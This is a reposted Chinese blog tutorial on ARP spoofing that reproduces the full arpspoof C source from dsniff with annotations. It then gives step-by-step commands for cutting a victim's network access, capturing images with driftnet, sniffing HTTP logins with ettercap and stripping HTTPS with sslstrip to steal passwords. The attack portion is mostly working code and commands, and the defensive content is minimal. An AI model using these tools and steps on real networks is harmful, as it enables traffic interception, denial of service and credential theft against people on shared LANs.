arp欺骗攻击原理_arp攻击的原理及防范

arp欺骗攻击原理_arp攻击的原理及防范ARPSpoofing什么是ARP协议一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网传输的网卡却不能直接识别IP地址,所以用APR解析协议将IP地址解析成MAC地址。ARP协议的基本功能就是通过目标设备的IP地址,来查询设备的MAC地址。在局域网的任意一台主机中,都有一个ARP缓存表,里面保存本机已知的此局域网中各主机和路由器的IP地址和MAC地址的对照表关系。ARP缓存表的生命周

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

ARPSpoofing

什么是ARP协议

  • 一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网传输的网卡却不能直接识别IP地址,所以用APR解析协议将IP地址解析成MAC地址。ARP协议的基本功能就是通过目标设备的IP地址,来查询设备的MAC地址。
  • 在局域网的任意一台主机中,都有一个ARP缓存表,里面保存本机已知的此局域网中各主机和路由器的IP地址和MAC地址的对照表关系。ARP缓存表的生命周期是有时限的(一般不超过20min)。
  • 以下是IPv4在ARP包上的结构:

    1

    包含的信息有:类型、长度、操作、发送方地址、目标地址。

什么是ARP欺骗攻击

  • 基于如下原则:
    任何主机均能发送伪造包给局域网中的另一主机;
    任一主机相信它们接受到的所有包;
    当一个新的响应包到达时,它甚至在没有请求包被发送的情况下覆盖掉旧的记录。
  • 举个例子:
  • 假设局域网中有4台主机,由于ARP欺骗攻击建立在局域网主机间相互信任的基础上,当A发广播询问:我想知道IP192.168.0.3的硬件地址是多少?
  • 此时B当然会回话:我是IP192.168.0.3,我的硬件地址是mac-b。可是此时IP地址是192.168.0.4的C也非法回了:我是IP192.168.0.3我的硬件地址是mac-c,并且,这种回应是大量的。
  • 所以A就会误信192.168.0.3的硬件地址是mac-c,并且动态更新缓存表。这样,主机C就劫持了主机A发送给主机B的数据,这就是ARP欺骗的过程。
  • 假设C直接冒充网关,此时主机C会不断地发送ARP欺骗广播,大声说:我的IP是192.168.0.1,我的硬件地址是mac-c,此时局域网内所有的主机都被欺骗,更改自己的缓存表,此时C将会监听到整个局域网发给互联网的数据报。

ARP欺骗的常用工具:arpspoof

  • Ubuntu环境下对源码进行编译及分析:
  • 下载dsniff源码 sudo apt-get source dsniff
  • 下载安装编译所需依赖项libnet1、libpcap等:
sudo apt-get install libnet1
sudo apt-get install libpcap-dev
sudo apt-get install libnet1-dev
  • 提取dsniff源码目录下的arp.c, arp.h, arpspoof.c三个文件,将其合并为一个arpspoof.c文件,想办法gcc/clang编译成功。

  • 将其合并成一个arpspoof.c稍作修改并添加注释如下:

/* * arpspoof.c * * Redirect packets from a target host (or from all hosts) intended for * another host on the LAN to ourselves. * * Copyright (c) 1999 Dug Song <dugsong@monkey.org> * * $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $ * * Improved 2011 by Stefan Tomanek <stefa@pico.ruhr.de> */

//#include "config.h"

#include <sys/types.h> //基本系统数据类型
/*包含caddr_t clock_t comp_t dev_t fd_set fpos_t gid_t ino_t off_t mode_t pid_t ptrdiff_t rlim_t size_t ssize_t time_t uid_t wchar_t*/
#include <sys/param.h>
#include <sys/socket.h> //与套接字相关的函数声明和结构体定义
/*SOCKET_STREAM:流式套接字 SOCKET_DGRAM:数据报式套接字 SOCKET_RAW:原始套接字 创建套接字:socket() 绑定本机端口:bind() 建立连接:connect(),accept() 倾听端口:listen() 数据传输:send(),recv() 输入/输出多路复用:select() 关闭套接字:closesocket() */

/*通过使用#ifdef指示符,我们可以区隔一些与特定头文件、程序库 和其他文件版本有关的代码,提高程序的通用性。*/
#ifdef BSD
#include <sys/sysctl.h> //sysctl函数头文件
#include <net/if_dl.h>
#include <net/route.h>
#ifdef __FreeBSD__ /* XXX */
#define ether_addr_octet octet //网络字节地址定义
#endif
#else /* !BSD */
#include <sys/ioctl.h> //I/O控制操作相关的函数声明,如ioctl()
#ifndef __linux__
#include <sys/sockio.h>
#endif
#endif /* !BSD */
#include <net/if.h>
#include <netinet/in_systm.h>
#include <netinet/in.h> //端口宏定义,著名ip(loopback),结构sockaddr_in..
/*网络字节转换(ntoh,hton...),用途广泛。*/
#include <netinet/if_ether.h> //ether_arp的数据结构

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> //提供对POSIX操作系统API的访问功能的头文件的名称。
#include <string.h>

//#include "config.h"

//#include <sys/types.h>
//#include <sys/param.h>
//#include <netinet/in.h>

//#include <stdio.h>
//#include <string.h>
#include <signal.h> //C标准函数库中的信号处理部分,定义了程序执行时如何处理不同的信号。
#include <err.h>
#include <libnet.h> //libnet 是一个小型的接口函数库,主要用 C 语言写成,提供了低层网络数据包的构造、处理和发送功能。
#include <pcap.h> //这个抓包库给抓包系统提供了一个高层次的接口。所有网络上的数据包,通过这种机制,都是可以捕获的。

#ifndef _ARP_H_
#define _ARP_H_

#include <net/ethernet.h> //包括几个以太网的数据结构,ether_addr(mac帧结构),
/*ether_header(以太帧的头部)*/

/*声明了查找arp缓存表的函数*/
int arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf);

#endif

//#include "arp.h"
//#include "version.h"

#ifdef BSD //BSD系统中的arp_cache_lookup函数实现
/*ip为查找IP值 */
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf)
{
    int mib[6];
    size_t len;                 //长度
    char *buf, *next, *end;     //缓存、下一个、最后一个
    struct rt_msghdr *rtm;      //rt_msghdr结构
    struct sockaddr_inarp *sin; //sockaddr_in 是internet环境下套接字的地址形式
    struct sockaddr_dl *sdl;

    mib[0] = CTL_NET;
    mib[1] = AF_ROUTE;
    mib[2] = 0;
    mib[3] = AF_INET;           // IPv4网络协议的套接字类型
    mib[4] = NET_RT_FLAGS;
    mib[5] = RTF_LLINFO;

    /*函数原型: int sysctl(const int *name,u_int namelen,void *oldp, size_t *oldlenp,const void *newp,size_t newlen); sysctl函数检索系统信息和允许适当的进程设置系统信息,可以得到整数,字符串和 表的信息,信息可以通过sysctl命令行接口被重新设置。 通过设置参数oldp为NULL调用函数sysctl可以设置可用数据的大小,这些可用数据将会 被返回被oldlenp指向的位置。如果一个新值不被设置,newp应该被设置为NULL,nwelen为0 */
    /*sysctl函数设置失败,返回-1*/
    if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0)
        return (-1);
    /*buf分配失败,返回-1*/
    if ((buf = (char *)malloc(len)) == NULL)
        return (-1);
    /*设置oldp参数为buf*/
    if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) {
        free(buf);
        return (-1);
    }
    end = buf + len;        //设置end的指针位置
    /*next指针从buf到end开始遍历,步长为rtm->rtm_msglen */
    for (next = buf ; next < end ; next += rtm->rtm_msglen) {
        rtm = (struct rt_msghdr *)next;     //设置rtm、sin、sdl的指针值
        sin = (struct sockaddr_inarp *)(rtm + 1);
        sdl = (struct sockaddr_dl *)(sin + 1);
        /*如果s_addr和查找IP值相等且sdl_alen不为0*/
        if (sin->sin_addr.s_addr == ip && sdl->sdl_alen) {
            //将ether_addr_octet的所有值设置为LLADDR(sdl)
            memcpy(ether->ether_addr_octet, LLADDR(sdl),
                   ETHER_ADDR_LEN);
            free(buf);      //释放缓存空间
            return (0);
        }
    }
    free(buf);              //释放缓存空间

    return (-1);
}

#else /* !BSD */ //其他非BSD的系统的arp缓存查找函数

#ifndef ETHER_ADDR_LEN /* XXX - Solaris */
#define ETHER_ADDR_LEN 6
#endif

int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* lif)
{
    int sock;
    struct arpreq ar;
    struct sockaddr_in *sin;

    memset((char *)&ar, 0, sizeof(ar));
#ifdef __linux__
    strncpy(ar.arp_dev, lif, strlen(lif));
#endif
    sin = (struct sockaddr_in *)&ar.arp_pa;
    sin->sin_family = AF_INET;
    sin->sin_addr.s_addr = ip;

    /*函数原型: int socket(int domain,int type,int protocol) domain:协议类型,一般为AF_INET type:socket类型 protocol:用来指定socket所使用的传输协议编号,通常设为0即可*/
    if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
        return (-1);
    }
    if (ioctl(sock, SIOCGARP, (caddr_t)&ar) == -1) {
        close(sock);
        return (-1);
    }
    close(sock);
    //设置ether_addr_octec的所有值为ar.arp_ha.sa_data
    memcpy(ether->ether_addr_octet, ar.arp_ha.sa_data, ETHER_ADDR_LEN);

    return (0);
}

#endif /* !BSD */

extern char *ether_ntoa(struct ether_addr *);

/*定义主机的结构,包括ip地址和MAC地址*/
struct host {
    in_addr_t ip;               
    struct ether_addr mac;
};

#define VERSION "version"

static libnet_t *l;
static struct host spoof = {
  
  0};         //欺骗性主机
static struct host *targets;            //目的主机
static char *intf;
static int poison_reverse;

static uint8_t *my_ha = NULL;
static uint8_t *brd_ha = "\xff\xff\xff\xff\xff\xff";

static int cleanup_src_own = 1;
static int cleanup_src_host = 0;

static void
usage(void)             //arpspoof使用说明函数,打印一句话
{
    fprintf(stderr, "Version: " VERSION "\n"
        "Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host\n");
    exit(1);
}

/*发送arp包的函数, 参数1:libnet链路层接口,通过这个接口可以操作链路层, 参数2:arpop,来指定arp包的操作, 参数3:本机硬件地址, 参数4:本机ip, 参数5:目的硬件地址, 参数6:目的ip, 参数7:我的硬件地址。 */
static int
arp_send(libnet_t *l, int op,
    u_int8_t *sha, in_addr_t spa,
    u_int8_t *tha, in_addr_t tpa,
    u_int8_t *me)
{
    int retval;

    if (!me) me = sha;
    /*libnet_autobuild_arp函数,功能为构造arp数据包 */
    libnet_autobuild_arp(op, sha, (u_int8_t *)&spa,
                 tha, (u_int8_t *)&tpa, l);
    /*libnet_build_ethernet函数,功能为构造一个以太网数据包*/
    libnet_build_ethernet(tha, me, ETHERTYPE_ARP, NULL, 0, l, 0);
    //输出网络地址
    fprintf(stderr, "%s ",
        ether_ntoa((struct ether_addr *)me));
    /*此处if和else是回显处理(也就是大家能看到的部分)*/
    if (op == ARPOP_REQUEST) {
        fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
            ether_ntoa((struct ether_addr *)tha),
            libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE),
            libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
    }
    else {
        fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
            ether_ntoa((struct ether_addr *)tha),
            libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
        fprintf(stderr, "%s\n",
            ether_ntoa((struct ether_addr *)sha));
    }
    retval = libnet_write(l);
    if (retval)
        fprintf(stderr, "%s", libnet_geterror(l));

    libnet_clear_packet(l);

    return retval;
}

#ifdef __linux__ //linux下的arp_force函数
static int
arp_force(in_addr_t dst)
{
    struct sockaddr_in sin;
    int i, fd;

    if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
        return (0);

    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = dst;
    sin.sin_port = htons(67);

    i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));

    close(fd);

    return (i == 0);
}
#endif
/*arp_find函数,寻找arp表*/
static int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
    int i = 0;

    do {
        if (arp_cache_lookup(ip, mac, intf) == 0)
            return (1);
#ifdef __linux__
        /* XXX - force the kernel to arp. feh. */
        arp_force(ip);
#else
        arp_send(l, ARPOP_REQUEST, NULL, 0, NULL, ip, NULL);
#endif
        sleep(1);
    }
    /*在本机网络设备存在的条件下把包再发3遍, 留个缓冲时间*/
    while (i++ < 3);

    return (0);
}
//寻找所有目标arp
static int arp_find_all() {
    struct host *target = targets;
    while(target->ip) {
        if (arp_find(target->ip, &target->mac)) {
            return 1;
        }
        target++;
    }

    return 0;
}

static void
cleanup(int sig)
{
    int fw = arp_find(spoof.ip, &spoof.mac);
    int bw = poison_reverse && targets[0].ip && arp_find_all();
    int i;
    int rounds = (cleanup_src_own*5 + cleanup_src_host*5);

    fprintf(stderr, "Cleaning up and re-arping targets...\n");
    for (i = 0; i < rounds; i++) {
        struct host *target = targets;
        while(target->ip) {
            uint8_t *src_ha = NULL;
            if (cleanup_src_own && (i%2 || !cleanup_src_host)) {
                src_ha = my_ha;
            }
            /* XXX - on BSD, requires ETHERSPOOF kernel. */
            /*上面这条注释是源码的作者加的, 意思是说在BSD系统中需要ETHERSPOOF的第三方内核模块*/
            if (fw) {
                arp_send(l, ARPOP_REPLY,
                     (u_int8_t *)&spoof.mac, spoof.ip,
                     (target->ip ? (u_int8_t *)&target->mac : brd_ha),
                     target->ip,
                     src_ha);
                /* we have to wait a moment before sending the next packet */
                sleep(1);
            }
            if (bw) {
                arp_send(l, ARPOP_REPLY,
                     (u_int8_t *)&target->mac, target->ip,
                     (u_int8_t *)&spoof.mac,
                     spoof.ip,
                     src_ha);
                sleep(1);
            }
            target++;
        }
    }

    exit(0);
}

int
main(int argc, char *argv[])
{
    extern char *optarg;
    extern int optind;
    char pcap_ebuf[PCAP_ERRBUF_SIZE];
    char libnet_ebuf[LIBNET_ERRBUF_SIZE];
    int c;
    int n_targets;
    char *cleanup_src = NULL;

    spoof.ip = 0;
    intf = NULL;
    poison_reverse = 0;
    n_targets = 0;

    /* allocate enough memory for target list */
    targets = calloc( argc+1, sizeof(struct host) );
    /*getopt函数:用于专门处理函数参数的,用法:argc与argv直接是从main的参数中拿下来的, 第三个参数描述了整个程序参数的命令要求,具体的用法我们可以先理解为要求i,t这两个参数必须有值, 然后有具体值得参数会把值付给全局变量optarg,这样我们就能理解下面的while循环中的操作了 */
    while ((c = getopt(argc, argv, "ri:t:c:h?V")) != -1) {
        switch (c) {
        case 'i':
            intf = optarg;
            break;
        // libnet_name2addr4是解析域名,然后把域名解析的结果形成ip地址返回到target_ip
        case 't':
            if ((targets[n_targets++].ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
                usage();
            break;
        case 'r':
            poison_reverse = 1;
            break;
        case 'c':
            cleanup_src = optarg;
            break;
        default:
            usage();
        }
    }
    argc -= optind;
    argv += optind;

    if (argc != 1)
        usage();

    if (poison_reverse && !n_targets) {
        errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t).");
        usage();
    }

    if (!cleanup_src || strcmp(cleanup_src, "own")==0) { /* default! */
        /* only use our own hw address when cleaning up, * not jeopardizing any bridges on the way to our * target */
        cleanup_src_own = 1;
        cleanup_src_host = 0;
    } else if (strcmp(cleanup_src, "host")==0) {
        /* only use the target hw address when cleaning up; * this can screw up some bridges and scramble access * for our own host, however it resets the arp table * more reliably */
        cleanup_src_own = 0;
        cleanup_src_host = 1;
    } else if (strcmp(cleanup_src, "both")==0) {
        cleanup_src_own = 1;
        cleanup_src_host = 1;
    } else {
        errx(1, "Invalid parameter to -c: use 'own' (default), 'host' or 'both'.");
        usage();
    }

    if ((spoof.ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
        usage();
    /*pcap_lookupdev 顾名思义这个pcap库中的函数是用来寻找本机的可用网络设备。 下面的if语句是将如果intf(-i的参数为空就调用pcap_lookupdev来寻找本机的网络设备) ebuf就是error_buf用来存储错误信息 */
    if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL)
        errx(1, "%s", pcap_ebuf);
    /*libnet_init这个函数存在于libnet库中,作用是打开intf指向的网络链路设备, 错误信息存入libnet_ebuf中。 */
    if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL)
        errx(1, "%s", libnet_ebuf);

    struct host *target = targets;
    /*下面语句的意思是如果target_ip为0或者是arp_find没有成功找到target_ip 那么提示错误. */
    while(target->ip) {
        if (target->ip != 0 && !arp_find(target->ip, &target->mac))
            errx(1, "couldn't arp for host %s",
            libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE));
        target++;
    }

    if (poison_reverse) {
        if (!arp_find(spoof.ip, &spoof.mac)) {
            errx(1, "couldn't arp for spoof host %s",
                 libnet_addr2name4(spoof.ip, LIBNET_DONT_RESOLVE));
        }
    }

    if ((my_ha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) {
        errx(1, "Unable to determine own mac address");
    }
    //信号的处理问题
    signal(SIGHUP, cleanup);
    signal(SIGINT, cleanup);
    signal(SIGTERM, cleanup);
    printf("PB13206106,Luo Yongguan");
    /*在这个for的循环里我们看到了我们希望看到的核心模块, arp_send这个函数是用来发送伪造的arp数据包的 */
    for (;;) {
        struct host *target = targets;
        while(target->ip) {
            arp_send(l, ARPOP_REPLY, my_ha, spoof.ip,
                (target->ip ? (u_int8_t *)&target->mac : brd_ha),
                target->ip,
                my_ha);
            if (poison_reverse) {
                arp_send(l, ARPOP_REPLY, my_ha, target->ip, (uint8_t *)&spoof.mac, spoof.ip, my_ha);
            }
            target++;
        }

        sleep(2);
    }
    /* NOTREACHED */

    exit(0);
}
  • gcc编译:gcc arpspoof.c -lnet -lpcap -o arpspoof
  • 此时若编译成功则生成arpspoof的可执行文件,下面利用该arpspoof工具进行arp欺骗攻击。
  • arpspoof的用法为:
    Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

局域网断网攻击

  • 攻击过程将由在一个局域网内的两台主机来演示,一台是Ubuntu的172.20.10.11,一台是Ubuntu的172.20.10.12。这两台主机均为由VirtualBox建立生成的虚拟机,在建立过程中,注意在主机设置里将虚拟机的网络—网卡连接方式设置为桥接网卡,否则无法实施攻击。
    顺带解释一下VirtualBox虚拟机网络设置的四种方式的区别(参考链接:VirtualBox虚拟机网络设置 ):

    1. NAT模式:Vhost访问网络的所有数据都是由主机提供的,vhost并不真实存在于网络中,主机与网络中的任何机器都不能查看和访问到Vhost的存在。
      IP:10.0.2.15
      网关:10.0.2.2
      DNS:10.0.2.3
      在这种网络设置模式下,所有由主机建立的虚拟机的IP地址都是一样的。
    2. Bridged Adapter模式:网络桥接模式的模拟度相当完美,你可以这样理解,它是通过主机网卡,架设了一条桥,直接连入到网络中了。因此,它使得虚拟机能被分配到一个网络中独立的IP,所有网络功能完全和在网络中的真实机器一样。
      IP:一般是DHCP分配的,与主机的“本地连接”的IP 是同一网段的。虚拟机就能与主机互相通信。
    3. Internal模式:内部网络模式,虚拟机与外网完全断开,只实现虚拟机与虚拟机之间的内部网络模式。
      IP: VirtualBox的DHCP服务器会为它分配IP ,一般得到的是192.168.56.101,因为是从101起分的,也可手工指定192.168.56.*。
    4. Host-only Adapter模式:主机模式,这是一种比较复杂的模式,需要有比较扎实的网络基础知识才能玩转。可以说前面几种模式所实现的功能,在这种模式下,通过虚拟机及网卡的设置都可以被实现。
  • 查看局域网内的arp表中的IP信息:
    在Win7物理主机的cmd中输入:arp -a,查询所有接口的IP地址及对应物理MAC地址:

    2

    以上显示了接口172.20.10.4对应的局域网内所有主机IP地址,其中,172.20.10.11作为攻击主机,172.20.10.12作为被攻击主机。

  • 再次在虚拟主机中输入命令fping -asg 172.20.10.0/27以查看172.20.10.0局域网段内的所有存活主机:

    3

  • 对被攻击主机进行测试,开始攻击之前是能上网的。

    4

  • 然后查看局域网中的网关是多少。

    5

  • 接下来,我们用172.20.10.12这台主机对172.20.10.11这台主机进行arp欺骗攻击。在攻击主机中打开4个终端,分别在4个窗口中输入以下命令:
  ./arpspoof -i eth0 -t 172.20.10.12 172.20.10.1
  ./arpspoof -i eth0 -t 172.20.10.1 172.20.10.12
  driftnet
  echo 0 > /proc/sys/net/ipv4/ip_forward

6

  • 其中前两条命令的作用是进行arp攻击,并且作数据回流,第3条命令用于后面要进行的截取目标图片浏览记录攻击,第4条命令用于将/proc/sys/net/ipv4/ip_forward的文件值设置为0, 表示禁止数据包转发,1表示允许。

  • 发送攻击后,在被攻击机中进行ping操作,发现ping不通了,果然断网了。

    8

  • 将/proc/sys/net/ipv4/ip_forward的文件值设置为1后,再返回来,此时被攻击主机可以上网了。

  • 附:arp断网攻击失败解决方案
    1.若提示 arpspoof: couldn't arp for host ,可能的原因为,网关IP设置错误,利用fping -asg [局域网网段]查询网关IP地址;
    2.仍旧无法解决时,
    arpspoof -i eth0 -t 【被攻击IP】 【网关IP】
    arpspoof -i eth0 -t 【网关IP】 【被攻击IP】
    两个都要执行。
    命令解释arpspoof -i eth0 -t IP1 IP2
    欺骗ip2,告诉IP2你的计算机IP是IP1,
    这样分析一下,你就理解ARP欺骗了。
    3.虚拟机网卡设置不对也会造成攻击失败,可能是虚拟机的联网模式默认为net造成的,这样的话,攻击机ip和目标ip不在同一号段,所以无法欺骗。只要在虚拟机的网卡设置那里调成桥接模式就可以了。

获取局域网中目标主机的图片浏览记录

  • 首先在攻击主机中安装driftnet工具:sudo apt-get install driftnet
  • 由于之前将/proc/sys/net/ipv4/ip_forward的文件值设置为1了,允许数据包转发,当目标受欺骗后会将流量发到攻击主机上,以攻击主机为中转站传至网关。
  • 还是arp欺骗,然后获取本机网卡图片:driftnet

    9

    截取到了被攻击主机在百度贴吧上浏览的图片。

http账号密码截取

  • 在前面arp攻击基础上进行延伸,进行http环境下的网络账号密码嗅探。
  • 一开始还是和前面一样设置网卡转发以及arp欺骗,然后在攻击主机上输入命令:ettercap -Tq -i eth0。(从网络流量中抓取账号密码,-T是以文本模式显示,q是以安静模式)

    10

  • 设置完毕后,在被攻击主机上进行http账号密码登录来检验成果,此处以bb网络教学平台作为示范:

    11

  • 172.20.10.12刚一登录,我们便成功地截取到了账号和密码。有些网站支持中文账号密码,这里我们截取的信息可能一下得到一些乱码,这里我们可以通过URL解码,得出中文的账号密码。

https账号密码截取

  • 有证书认证和传输加密的https传输比http传输的安全性要强许多。我们这里获取https传输的账号密码的思路是将https换原为http传输,然后再进行http的账号密码抓取工作。
  • 首先,将https传输转换为http传输:sslstrip -a -f -k,使用sslstrip命令前先安装包:sudo apt-get install sslstrip
  • 再接着还是设置网卡转发、arp欺骗、网络抓包。这里和上面的http的基本差不多,就不再多说了。(有些浏览器的安全性比较高,可能会对我们的工作有所影响。)

讨论:在广域网内进行跨网段ARP欺骗的可能性分析

  • 由于广域网只有路由表,没有arp表。arp欺骗一般发生在同一网段中,而要在不同网段中,要实现arp欺骗,只有一个可能就是ICMP重定向。但主机许可接受到的ICMP重定向包其实有很多的限制条件,这些条件使ICMP重定向变得非常困难,所以跨网段实现arp欺骗几乎不可能,而在广域网中即使在同一网段也会有VLAN隔开,所以在广域网中存在arp欺骗的可能性几乎为0。
  • 理想情况下分析可参考如下链接:
    不同网段分析及对策

参考资料

[1] http://www.freebuf.com/sectool/87293.html
[2] http://www.freebuf.com/articles/network/74700.html
[3] https://www.douban.com/group/topic/15558388/
[4] http://www.bingdun.com/news/security/9591.htm

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/188002.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • python模拟键盘输入_python控制鼠标键盘

    python模拟键盘输入_python控制鼠标键盘win32api.keybd_event该函数原型:keybd_event(bVk,bScan,dwFlags,dwExtraInfo)第一个参数:虚拟键码(键盘键码对照表见附录);第二个参数:硬件扫描码,一般设置为0即可;第三个参数:函数操作的一个标志位,如果值为KEYEVENTF_EXTENDEDKEY则该键被按下,也可设置为0即可,如果值为KEYEVENTF_KEYUP则该按键被释放;…

    2022年10月11日
  • python中astype用法_python里的astype是什么意思?

    python中astype用法_python里的astype是什么意思?展开全部astype是实现2113变量类型转换,例如astype(type):returnsacopyofthearrayconvertedtothespecifiedtype.a=a.astype(‘Float64’)b=b.astype(‘Int32’)Python中与数据5261类型4102相关函数及属性1653有如下三个:type/dtype/astypetyp…

  • 什么,缺“Java项目经验”找不到工作?锋哥送你80个“项目经验”[通俗易懂]

    什么,缺“Java项目经验”找不到工作?锋哥送你80个“项目经验”[通俗易懂]很多学计算机小伙伴从校园刚出来,因为没有项目经验,找工作出出碰壁,尤其是普通大学大专和本科。今天锋哥送80个“Java项目经验”给你,无套路,谢谢;看看下面的“惨剧”就知道:没项目经验,找不到工作没有项目经验,得不到面试机会对于普通大学毕业的大专或者本科生,要想找份好实习单位或者工作,还真得搞点“项目经验”,至少能有面试机会,最终才能有工作机会;经常有应届生找我,说“锋哥啊,给点项目经验啊,实在编不出来”;今天“它来了”,一次性给你80个;(资源来自互联网)截图几个大伙看看:.

  • Zuul网关集群_zuul网关

    Zuul网关集群_zuul网关1,Zuul网关集群原理![在这里插入图片描述](https://img-blog.csdnimg.cn/20201019212045203.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM4ODQ1Mjcx,size_16,color_FFFFFF,t_70#pic_center)…

  • leetcode-14最长公共前缀(分治|二分)[通俗易懂]

    leetcode-14最长公共前缀(分治|二分)[通俗易懂]原题链接编写一个函数来查找字符串数组中的最长公共前缀。如果不存在公共前缀,返回空字符串 “”。示例 1:输入:strs = [“flower”,”flow”,”flight”]输出:”fl”示例 2:输入:strs = [“dog”,”racecar”,”car”]输出:””解释:输入不存在公共前缀。 提示:0 <= strs.length <= 2000 <= strs[i].length <= 200strs[i] 仅由小写英文字母组成题解分

  • C语言符号意思(看了必懂系列)「建议收藏」

    C语言符号意思(看了必懂系列)「建议收藏」所有的努力都不会完全白费,你付出多少时间和精力,都是在对未来的积累。世界上什么都不公平,唯独时间最公平,你是懒惰还是努力,时间都会给出结果。auto:声明自动变量一般不使用double:声明双精度变量或函数int:声明整型变量或函数struct:声明结构体变量或函数break:跳出当前循环else:条件语句否定分支(与if连用)long:声明长整型变量或函数swit…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号